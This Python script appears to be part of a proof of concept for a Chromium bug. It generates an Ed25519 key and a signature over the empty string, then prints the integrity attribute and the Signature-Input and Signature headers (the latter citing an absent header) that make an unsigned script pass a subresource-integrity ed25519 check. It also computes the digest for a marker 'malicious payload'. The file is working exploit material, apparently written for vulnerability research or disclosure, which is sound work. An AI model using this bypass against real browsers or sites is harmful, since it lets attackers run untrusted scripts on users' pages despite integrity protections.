#!/usr/bin/env python3
"""
Generate Ed25519 keypair and the empty-string signature for the SRI bypass POC.

This produces the cryptographic material needed to demonstrate the bug:
  - An Ed25519 public key (used in the page's `integrity="ed25519-..."` attribute
    AND in the `keyid` parameter of the Signature-Input header)
  - SIG_EMPTY = Ed25519_sign(priv, b"")  -- a signature over the EMPTY message

The attack model: the attacker does NOT have the private key. They have only the
public key and ONE signature: a signature of the empty string under that key
(obtained via cross-protocol key reuse, a signing oracle, etc).

For this POC we generate the private key ourselves only so we can produce
SIG_EMPTY. We never use the private key to sign the actual signature base --
that would defeat the point. The server only ever sends SIG_EMPTY.
"""
import base64
import hashlib
from cryptography.hazmat.primitives.asymmetric.ed25519 import (
    Ed25519PrivateKey,
)
from cryptography.hazmat.primitives import serialization

# Fixed seed for reproducibility across POC runs.
# 32 raw seed bytes -> deterministic Ed25519 keypair.
SEED = bytes.fromhex(
    "9d61b19deffd5a60ba844af492ec2cc44449c5697b326919703bac031cae7f60"
)

priv = Ed25519PrivateKey.from_private_bytes(SEED)
pub = priv.public_key()

pub_raw = pub.public_bytes(
    encoding=serialization.Encoding.Raw,
    format=serialization.PublicFormat.Raw,
)
assert len(pub_raw) == 32

# THE EXPLOIT PRIMITIVE: signature over the empty byte string.
# Chromium's .value_or("") collapses ConstructSignatureBase's nullopt into "",
# then calls ED25519_verify("", 0, sig, pubkey). This signature passes that check.
sig_empty = priv.sign(b"")
assert len(sig_empty) == 64

# Sanity check: verify the empty-string signature ourselves.
pub.verify(sig_empty, b"")

PUB_B64   = base64.b64encode(pub_raw).decode()
SIG_B64   = base64.b64encode(sig_empty).decode()

print(f"Public key (raw, 32 bytes, base64):\n  {PUB_B64}")
print(f"Signature of empty string (64 bytes, base64):\n  {SIG_B64}")
print()
print(f"integrity attribute:")
print(f'  integrity="ed25519-{PUB_B64}"')
print()
print(f"Signature-Input header (note absent header 'x-absent'):")
print(f'  sig1=("unencoded-digest";sf "x-absent");keyid="{PUB_B64}";tag="ed25519-integrity"')
print()
print(f"Signature header:")
print(f'  sig1=:{SIG_B64}:')

# Also compute the digest of the malicious payload so server.py and this
# script stay in sync.
PAYLOAD = b"""\
// MALICIOUS PAYLOAD -- loaded despite integrity="ed25519-..." constraint.
// The Signature header is Ed25519(priv, "") -- it does NOT cover this body
// or the Unencoded-Digest header. It only verifies because Chromium collapses
// the signature-base construction error to an empty string.
console.error('[EXPLOIT] script executed -- SRI ed25519 integrity bypassed');
document.title = 'EXPLOIT-SUCCESS';
if (window.__poc_result) window.__poc_result('exploit', true);
"""
digest = hashlib.sha256(PAYLOAD).digest()
print()
print(f"Unencoded-Digest header for payload:")
print(f"  sha-256=:{base64.b64encode(digest).decode()}:")
